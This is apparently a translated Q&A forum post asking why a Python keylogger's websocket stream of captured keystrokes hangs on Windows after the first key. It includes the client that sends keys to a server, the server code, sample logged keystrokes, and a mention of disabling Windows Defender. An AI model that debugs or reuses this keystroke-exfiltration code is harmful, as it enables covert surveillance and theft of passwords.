Я написал кейлоггер, который отправляет захваченные ключи в режиме реального времени через веб-сокет. Все отлично работает в моей системе Linux, однако, когда я запускаю точно такой же код на моей виртуальной машине Windows 10, я запускаю программу, первый ключ получается на сервере, но затем поток просто останавливается. Я попытался использовать разные порты, отключить Windows Defender и маршрутизировать виртуальную машину через тот же VPN, который использует моя система Linux. Там нет сообщения об ошибке или что-то, просто кажется, что соединение зависает. Я не могу понять, что здесь происходит. Это точно такой же код и интерпретатор python, единственное отличие состоит в том, что он не работает правильно на windows.
Это код веб-сокета:
class WsStream:
"""
Live key stream over websocket
"""
def __init__(self, uri):
self.uri = uri
self.logger = setup_logger('WsStream', 'keylogger.log')
async def ws_stream(self):
uri = self.uri
while True:
try:
async with websockets.connect(uri) as websocket:
while True:
msg = presses.ws_que()
if msg is not None:
await websocket.send(str(msg))
except ConnectionRefusedError:
self.logger.debug('Could not connect to ws server, reconnecting ... ')
time.sleep(1)
except websockets.ConnectionClosedError:
self.logger.debug('Connection closed, reconnecting ..')
time.sleep(1)
except Exception as err:
self.logger.debug('Websocket error:', err)
И это сервер:
async def handle_msg(websocket, path=None):
while True:
try:
data = await websocket.recv()
print(f"{data}")
time.sleep(0.0625)
except websockets.exceptions.ConnectionClosedError:
pass
start_server = websockets.serve(handle_msg, "localhost", 8765)
asyncio.get_event_loop().run_until_complete(start_server)
asyncio.get_event_loop().run_forever()
Когда я запускаю его на Linux, я вижу поток живого ключа:
$ ./ws_server.py
{'time': '2020-01-16_22:55:17', 'key': "'t'"}
{'time': '2020-01-16_22:55:17', 'key': "'e'"}
{'time': '2020-01-16_22:55:17', 'key': "'s'"}
{'time': '2020-01-16_22:55:17', 'key': "'t'"}
{'time': '2020-01-16_22:55:18', 'key': "'t'"}
{'time': '2020-01-16_22:55:18', 'key': "'e'"}
{'time': '2020-01-16_22:55:18', 'key': "'s'"}
{'time': '2020-01-16_22:55:18', 'key': "'t'"}
На windows я получаю только первый ключ .. .
$ ./ws_server.py
{'time': '2020-01-16_22:56:34', 'key': "'f'"}
Нет сообщений об ошибках или что-либо еще. Кажется, это просто зависает. Кто-нибудь знает, что здесь происходит? Полный код можно найти здесь .